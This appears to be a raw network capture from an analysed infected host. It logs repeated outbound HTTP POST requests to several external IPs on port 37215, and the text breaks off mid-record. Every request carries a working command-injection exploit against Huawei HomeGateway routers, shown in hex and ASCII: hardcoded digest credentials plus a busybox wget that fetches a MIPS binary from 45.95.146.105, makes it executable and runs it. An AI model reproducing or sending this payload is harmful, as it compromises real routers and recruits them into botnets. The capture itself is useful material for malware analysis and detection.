Jan 1, 2024 12:53:35.339535952 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:36.892518044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:38.716602087 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:42.396522999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:49.820530891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:04.416594982 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:33.856545925 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	37410	37.16.25.222	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:36.472789049 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	39188	156.254.108.19	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:37.908339977 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:39.452497959 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 